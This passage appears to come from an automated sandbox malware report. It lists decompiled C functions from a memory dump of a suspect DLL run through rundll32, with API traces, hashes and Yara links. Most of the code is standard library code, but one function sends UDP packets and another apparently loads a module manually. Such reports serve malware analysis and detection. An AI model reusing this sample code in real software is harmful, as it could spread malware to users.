						_t21 = RegSetValueExA(_t30, _t24, 0, 4,  &_a12, 4);
						_t29 = _t21;
						RegCloseKey(_t30);
						_t18 = 0 | _t21 == 0x00000000;
					}
				}
				return E100167D5(_t18, _t24, _v8 ^ _t31, _t28, _t29, _t30);
			}

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004), ref: 10013F50
RegCloseKey.ADVAPI32(00000000), ref: 10013F59
_swprintf.LIBCMT ref: 10013F76
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 10013F87

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWrite_swprintf
String ID:
API String ID: 4210924919-0
Opcode ID: 72724b54134d1e17f7023dcd4e88edc389080316b6c32af13a85a47034679497
Instruction ID: 30a1eb16c1be1d822a6ca59f9e75d62d608c78195c8382286e316af6553577e2
Opcode Fuzzy Hash: 72724b54134d1e17f7023dcd4e88edc389080316b6c32af13a85a47034679497
Instruction Fuzzy Hash: 25018076900219BBDB00DF648C85FAF77BCEF48754F104469FA01AB181DA74E94597A4

Uniqueness

Uniqueness Score: -1.00%

Function 1000B244, Relevance: 6.0, APIs: 4, Instructions: 50
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000B244(void* __ecx, void* __edi, void* __ebp, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* _t16;
				int _t17;
				int _t18;
				struct HWND__* _t19;
				intOrPtr _t25;
				intOrPtr _t33;
				void* _t35;

				_t32 = __edi;
				_t35 = __ecx;
				_t25 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t25 == 0) {
					__eflags =  *((intOrPtr*)(__ecx + 0x14));
					if(__eflags == 0) {
						L3:
						_t17 = E1000A0DB(0, _t25, _t32, _t35, _t39);
						L4:
						asm("sbb edx, edx");
						_t18 = EnableMenuItem( *(_t25 + 4), _t17, ( ~_a4 & 0xfffffffd) + 0x00000003 | 0x00000400);
						L11:
						 *((intOrPtr*)(_t35 + 0x18)) = 1;
						return _t18;
					}
					__eflags = _a4;
					if(_a4 == 0) {
						_push(__edi);
						_t33 =  *((intOrPtr*)(__ecx + 0x14));
						_t19 = GetFocus();
						__eflags = _t19 -  *(_t33 + 0x20);
						if(_t19 ==  *(_t33 + 0x20)) {
							SendMessageA( *(E1000FB5C(0, _t25, __ebp, GetParent( *(_t33 + 0x20))) + 0x20), 0x28, 0, 0);
						}
					}
					_t18 = E10012913( *((intOrPtr*)(_t35 + 0x14)), _a4);
					goto L11;
				}
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					_t17 =  *(__ecx + 8);
					_t39 = _t17 -  *((intOrPtr*)(__ecx + 0x20));
					if(_t17 <  *((intOrPtr*)(__ecx + 0x20))) {
						goto L4;
					}
					goto L3;
				}
				return _t16;
			}

APIs

EnableMenuItem.USER32 ref: 1000B27C

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetFocus.USER32 ref: 1000B293
GetParent.USER32(?), ref: 1000B2A1
SendMessageA.USER32(?,00000028,00000000,00000000), ref: 1000B2B4

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: EnableException@8FocusH_prolog3ItemMenuMessageParentSendThrow
String ID:
API String ID: 3849708097-0
Opcode ID: 716c6444658c0fcd22857925786988681d98949d7d446b879da325b0eb7e7aaf
Instruction ID: 6f1bf2e13571d4607552996c72993327e3919edcc1f96bcd7a145644f4ad6856
Opcode Fuzzy Hash: 716c6444658c0fcd22857925786988681d98949d7d446b879da325b0eb7e7aaf
Instruction Fuzzy Hash: FB115B71500A11AFE720DF64CCC9D1EBBF6FF893A5B118A2DF186869A8C731AC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1001044A, Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E1001044A(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, int _a12, long _a16, struct HWND__* _a20, struct HWND__* _a24) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t16;
				struct HWND__* _t18;
				struct HWND__* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				struct HWND__* _t25;

				_t23 = __ecx;
				_t22 = __ebx;
				_t24 = GetTopWindow;
				_t16 = GetTopWindow(_a4);
				while(1) {
					_t25 = _t16;
					if(_t25 == 0) {
						break;
					}
					__eflags = _a24;
					if(__eflags == 0) {
						SendMessageA(_t25, _a8, _a12, _a16);
					} else {
						_t20 = E1000FB83(_t23, _t24, _t25, __eflags, _t25);
						__eflags = _t20;
						if(__eflags != 0) {
							_push(_a16);
							_push(_a12);
							_push(_a8);
							_push( *((intOrPtr*)(_t20 + 0x20)));
							_push(_t20);
							E1001016F(_t22, _t24, _t25, __eflags);
						}
					}
					__eflags = _a20;
					if(_a20 != 0) {
						_t18 = GetTopWindow(_t25);
						__eflags = _t18;
						if(_t18 != 0) {
							E1001044A(_t22, _t23, _t25, _a8, _a12, _a16, _a20, _a24);
						}
					}
					_t16 = GetWindow(_t25, 2);
				}
				return _t16;
			}

APIs

GetTopWindow.USER32(00000000), ref: 10010458
GetTopWindow.USER32(00000000), ref: 10010497
GetWindow.USER32(00000000,00000002), ref: 100104B5

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: bfa56acb45854e1eb2d8939f4edd14d374eedcc28d24ff6845afa1ef48a187dc
Instruction ID: cb0d0bbe13ee34529c330f041d0b53c98759dff42d13bab1c22f515cd31b8fc3
Opcode Fuzzy Hash: bfa56acb45854e1eb2d8939f4edd14d374eedcc28d24ff6845afa1ef48a187dc
Instruction Fuzzy Hash: CD01257620061ABBDF12DF908C44E9F3A6AEF08390F018014FE8458060C7B6D9A2EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 100223DD, Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E100223DD(void* __ebx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;
				void* _t29;

				_t28 = __ebx;
				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E10021CDA(_t29, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E10021DC6(_t28, _t29, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E100222E5(_t29, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E1002222C(_t29, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 10022401

Part of subcall function 1002222C: __fltout2.LIBCMT ref: 10022256

__cftog_l.LIBCMT ref: 10022427
__cftoe_l.LIBCMT ref: 10022459

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction ID: 8dbc0b72f00ea763734ae0c8b1a7260823f108f727578f4f2c9ad294c4834352
Opcode Fuzzy Hash: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction Fuzzy Hash: 4201287A40014ABBCF12AEC4EC41CEE3F66FB18294B958515FE1858531D236D9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 1000FE47, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E1000FE47(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t9;
				struct HWND__* _t10;
				void* _t14;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;
				void* _t18;

				_t14 = __ecx;
				_t13 = __ebx;
				_t9 = GetDlgItem(_a4, _a8);
				_t15 = GetTopWindow;
				_t16 = _t9;
				if(_t16 == 0) {
					L6:
					_t10 = GetTopWindow(_a4);
					while(1) {
						_t17 = _t10;
						__eflags = _t17;
						if(_t17 == 0) {
							goto L10;
						}
						_t10 = E1000FE47(_t13, _t14, _t17, _a8, _a12);
						__eflags = _t10;
						if(_t10 == 0) {
							_t10 = GetWindow(_t17, 2);
							continue;
						}
						goto L10;
					}
				} else {
					if(GetTopWindow(_t16) == 0) {
						L3:
						_push(_t16);
						if(_a12 == 0) {
							return E1000FB5C(_t13, _t14, _t18);
						}
						_t10 = E1000FB83(_t14, _t15, _t16, __eflags);
						__eflags = _t10;
						if(_t10 == 0) {
							goto L6;
						}
					} else {
						_t10 = E1000FE47(__ebx, _t14, _t16, _a8, _a12);
						if(_t10 == 0) {
							goto L3;
						}
					}
				}
				L10:
				return _t10;
			}

APIs

GetDlgItem.USER32 ref: 1000FE52
GetTopWindow.USER32(00000000), ref: 1000FE65

Part of subcall function 1000FE47: GetWindow.USER32(00000000,00000002), ref: 1000FEAC

GetTopWindow.USER32(?), ref: 1000FE95

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: c12eecb807ab7f0029ae595babd55ab8876d87e96eec09ecdb4c3faaf2806783
Instruction ID: 3243c1bb31c4da8a8ed3b9d60ce207d24ba739ee5e1db1414c8eeda74806f304
Opcode Fuzzy Hash: c12eecb807ab7f0029ae595babd55ab8876d87e96eec09ecdb4c3faaf2806783
Instruction Fuzzy Hash: 07018F374016AAB7EB229F60CC00AAF3A98EF447D0F018018FD049153AD731DA12BAA0

Uniqueness

Uniqueness Score: -1.00%

Function 1001D6BC, Relevance: 6.0, APIs: 4, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E1001D6BC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x1002fae0);
				E1001984C(__ebx, __edi, __esi);
				_t31 = E1001BF79(__edx, __edi, _t35);
				_t15 =  *0x1005826c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E1001A549(0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x10058170; // 0x3441308
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x10057d48;
								if(__eflags != 0) {
									_push(_t33);
									E10016380(_t25, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x10058170; // 0x3441308
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x10058170; // 0x3441308
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E1001D757();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E10017DA6(_t25, _t29, _t31, 0x20);
				}
				return E10019891(_t33);
			}

APIs

Part of subcall function 1001BF79: __getptd_noexit.LIBCMT ref: 1001BF7A
Part of subcall function 1001BF79: __amsg_exit.LIBCMT ref: 1001BF87

__amsg_exit.LIBCMT ref: 1001D6E8
__lock.LIBCMT ref: 1001D6F8
InterlockedDecrement.KERNEL32(?), ref: 1001D715
InterlockedIncrement.KERNEL32(03441308), ref: 1001D740

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd_noexit__lock
String ID:
API String ID: 2880340415-0
Opcode ID: c820c896aabaa0a2095c39d05bd9b26938a44304a92efda62120de517e880afa
Instruction ID: ba7e7af5003a78fddfad0021ce05134b2f36e9a59f0d2c47ef46babd1389d2ef
Opcode Fuzzy Hash: c820c896aabaa0a2095c39d05bd9b26938a44304a92efda62120de517e880afa
Instruction Fuzzy Hash: 95016D39904A21EBEB41FB65988679D77A4FF05790F11410AE804AF291DB34E9C2CB95

Uniqueness

Uniqueness Score: -1.00%

Function 100126F9, Relevance: 6.0, APIs: 4, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100126F9(void* __ecx, CHAR* _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HRSRC__* _t8;
				void* _t9;
				void* _t11;
				void* _t14;
				void* _t15;
				void* _t16;
				struct HINSTANCE__* _t17;
				void* _t18;

				_t14 = 0;
				_t11 = 0;
				_t19 = _a4;
				_t18 = __ecx;
				if(_a4 == 0) {
					L4:
					_t16 = E100122B0(_t11, _t18, _t11);
					if(_t11 != 0 && _t14 != 0) {
						FreeResource(_t14);
					}
					return _t16;
				}
				_t17 =  *(E1000D5EC(0, 0, _t15, _t19) + 0xc);
				_t8 = FindResourceA(_t17, _a4, 0xf0);
				if(_t8 == 0) {
					goto L4;
				}
				_t9 = LoadResource(_t17, _t8);
				_t14 = _t9;
				if(_t14 != 0) {
					_t11 = LockResource(_t14);
					goto L4;
				}
				return _t9;
			}

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 1001271B
LoadResource.KERNEL32(?,00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 10012727
LockResource.KERNEL32(00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 10012734
FreeResource.KERNEL32(00000000,00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 1001274F

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 8a3f5fca82a0f9630a7b8cc452aba64c847f2dafa8f29946bde4c5ad79aa4676
Instruction ID: 32ecfa8a0ceb179aec2dc768c20ccd4f8790d9104fa4174b83ef058a4c527ff5
Opcode Fuzzy Hash: 8a3f5fca82a0f9630a7b8cc452aba64c847f2dafa8f29946bde4c5ad79aa4676
Instruction Fuzzy Hash: 54F090762042226FA3019B675C88A3BB7ECEFC55E2B110039FE04D6291EE35CC629771

Uniqueness

Uniqueness Score: -1.00%

Function 10001360, Relevance: 6.0, APIs: 4, Instructions: 40
networkCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E10001360(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				short _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				signed int _t15;
				short _t18;
				intOrPtr _t31;
				signed int _t33;

				_t15 =  *0x10057a08; // 0xfd220812
				_v8 = _t15 ^ _t33;
				_v28 = __ecx;
				_t18 = E100174D0(_t31,  &_v24, 0, 0x10);
				_v24 = 2;
				__imp__#11(_a4);
				_v20 = _t18;
				__imp__#9(_a8);
				_v22 = _t18;
				__imp__#20(_a12, _a16, 0,  &_v24, 0x10);
				return E100167D5(_v28, __ebx, _v8 ^ _t33, _a12, _t31, __esi,  *((intOrPtr*)(_v28 + 0x24)));
			}

0x10001366
0x1000136d
0x10001370
0x1000137b
0x10001383
0x1000138d
0x10001393
0x1000139b
0x100013a1
0x100013bc
0x100013cf

APIs

_memset.LIBCMT ref: 1000137B
inet_addr.WS2_32(?), ref: 1000138D
htons.WS2_32(?), ref: 1000139B
sendto.WS2_32(?,?,00000002,00000000,00000002,00000010), ref: 100013BC

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: _memsethtonsinet_addrsendto
String ID:
API String ID: 1158618643-0
Opcode ID: 55dc4d04b4578ce397bb679e501a1161249c23db44447d4e71df0ac46d681eb6
Instruction ID: 4ca8e198367322d4385a70dad1c3d41f0382a071c465ebc2c9307440f54d584b
Opcode Fuzzy Hash: 55dc4d04b4578ce397bb679e501a1161249c23db44447d4e71df0ac46d681eb6
Instruction Fuzzy Hash: D0017CB590020DABDB00DFA4CC86EAE77B8FF48300F104419F905AB281EB70AA40DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000CCD3, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000CCD3() {
				intOrPtr _t16;
				struct HWND__* _t19;
				intOrPtr _t23;
				intOrPtr* _t28;
				void* _t29;

				_t28 =  *((intOrPtr*)(_t29 - 0x20));
				_t23 =  *((intOrPtr*)(_t29 - 0x24));
				if( *((intOrPtr*)(_t29 - 0x28)) != 0) {
					E10012913(_t23, 1);
				}
				if( *((intOrPtr*)(_t29 - 0x2c)) != 0) {
					EnableWindow( *(_t29 - 0x14), 1);
				}
				if( *(_t29 - 0x14) != 0) {
					_t19 = GetActiveWindow();
					_t34 = _t19 -  *((intOrPtr*)(_t28 + 0x20));
					if(_t19 ==  *((intOrPtr*)(_t28 + 0x20))) {
						SetActiveWindow( *(_t29 - 0x14));
					}
				}
				 *((intOrPtr*)( *_t28 + 0x60))();
				E1000C6E6(_t23, _t28, 0, _t28, _t34);
				if( *((intOrPtr*)(_t28 + 0x58)) != 0) {
					FreeResource( *(_t29 - 0x18));
				}
				_t16 =  *((intOrPtr*)(_t28 + 0x44));
				return E10017C60(_t16);
			}

APIs

EnableWindow.USER32(?,00000001), ref: 1000CCF3
GetActiveWindow.USER32 ref: 1000CCFE
SetActiveWindow.USER32(?,?,00000024,100014EC,00000000,FD220812), ref: 1000CD0C
FreeResource.KERNEL32(?,?,00000024,100014EC,00000000,FD220812), ref: 1000CD28

Part of subcall function 10012913: EnableWindow.USER32(?,FD220812), ref: 10012920

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Window$ActiveEnable$FreeResource
String ID:
API String ID: 253586258-0
Opcode ID: 5728dce3dbdb708f9e7fb54369dca357d78a73ff54a3e2536421aa2b19b7c5fa
Instruction ID: b9d50a594c6b72ab84edc47d27728691b22d7b2ae70339502ef362fb55dd66ce
Opcode Fuzzy Hash: 5728dce3dbdb708f9e7fb54369dca357d78a73ff54a3e2536421aa2b19b7c5fa
Instruction Fuzzy Hash: 97F04F3890071DDBEF12DB64C98599DBBF2FF48781B60002AE442722A5CB326D81DF51

Uniqueness

Uniqueness Score: -1.00%

Function 1000AD21, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1000AD21(void* __ecx) {
				signed int _v8;
				char _v16;
				char _v18;
				char _v280;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				long _t14;
				intOrPtr _t15;
				char* _t18;
				intOrPtr _t21;
				intOrPtr _t33;
				signed int _t36;

				_t11 =  *0x10057a08; // 0xfd220812
				_v8 = _t11 ^ _t36;
				_t35 = 0x104;
				_t14 = GetModuleFileNameA( *(__ecx + 0x44),  &_v280, 0x104);
				if(_t14 == 0 || _t14 == 0x104) {
					L4:
					_t15 = 0;
					__eflags = 0;
				} else {
					_t18 = PathFindExtensionA( &_v280);
					_t35 = "%s.dll";
					asm("movsd");
					asm("movsw");
					_t32 =  &_v280;
					_t41 = _t18 -  &_v280 + 7 - 0x106;
					asm("movsb");
					_t33 = _t33;
					if(_t18 -  &_v280 + 7 > 0x106) {
						goto L4;
					} else {
						E1000A7B3(_t21,  &_v280, _t33, "%s.dll", _t36, _t18,  &_v18 - _t18,  &_v16);
						_t15 = E1000AA3A(_t21,  &_v280, _t33, "%s.dll", _t41,  &_v280);
					}
				}
				return E100167D5(_t15, _t21, _v8 ^ _t36, _t32, _t33, _t35);
			}

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 1000AD47
PathFindExtensionA.SHLWAPI(?), ref: 1000AD5D

Part of subcall function 1000A7B3: _strcpy_s.LIBCMT ref: 1000A7BF

Part of subcall function 1000AA3A: __EH_prolog3.LIBCMT ref: 1000AA59
Part of subcall function 1000AA3A: GetModuleHandleA.KERNEL32(kernel32.dll,00000058), ref: 1000AA7A
Part of subcall function 1000AA3A: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 1000AA8B
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC1
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC9
Part of subcall function 1000AA3A: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 1000AADD
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AB01
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(000003FF), ref: 1000AB07
Part of subcall function 1000AA3A: GetModuleFileNameA.KERNEL32(10000000,?,00000105), ref: 1000AB40

Strings

%s.dll, xrefs: 1000AD63

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressFileNameProc$ExtensionFindH_prolog3HandlePath_strcpy_s
String ID: %s.dll
API String ID: 3444012488-3668843792
Opcode ID: 6c30b6a237bf11204af5acb5ac5b7830e50b8e52d34c93bd03a652aa76484c2b
Instruction ID: a3b0371864cf8cb86b39257a88ab5a21b33b2e0076ae9bf6281b2400efea00f1
Opcode Fuzzy Hash: 6c30b6a237bf11204af5acb5ac5b7830e50b8e52d34c93bd03a652aa76484c2b
Instruction Fuzzy Hash: AD01F972A00018AFEF08DB74CD45DEE73B8DF46740F4102AAE906D3544EA70AB848662

Uniqueness

Uniqueness Score: -1.00%

Function 10002670, Relevance: 5.2, APIs: 4, Instructions: 181
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10002670(intOrPtr __ecx, intOrPtr* _a4) {
				void* _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t114;
				intOrPtr _t116;
				intOrPtr _t133;
				intOrPtr _t138;
				void* _t202;
				void* _t203;

				_v44 = __ecx;
				_v20 =  *((intOrPtr*)(_a4 + 4));
				_v16 = 1;
				_v12 =  *_a4 + 0x80;
				if( *((intOrPtr*)(_v12 + 4)) != 0) {
					_v8 = _v20 +  *_v12;
					while(IsBadReadPtr(_v8, 0x14) == 0 &&  *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t114 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x1c))))(_v20 +  *((intOrPtr*)(_v8 + 0xc)),  *((intOrPtr*)(_a4 + 0x28)));
						_t203 = _t202 + 8;
						_v36 = _t114;
						if(_v36 != 0) {
							_t116 = E10001F00( *((intOrPtr*)(_a4 + 8)), 4 +  *(_a4 + 0xc) * 4);
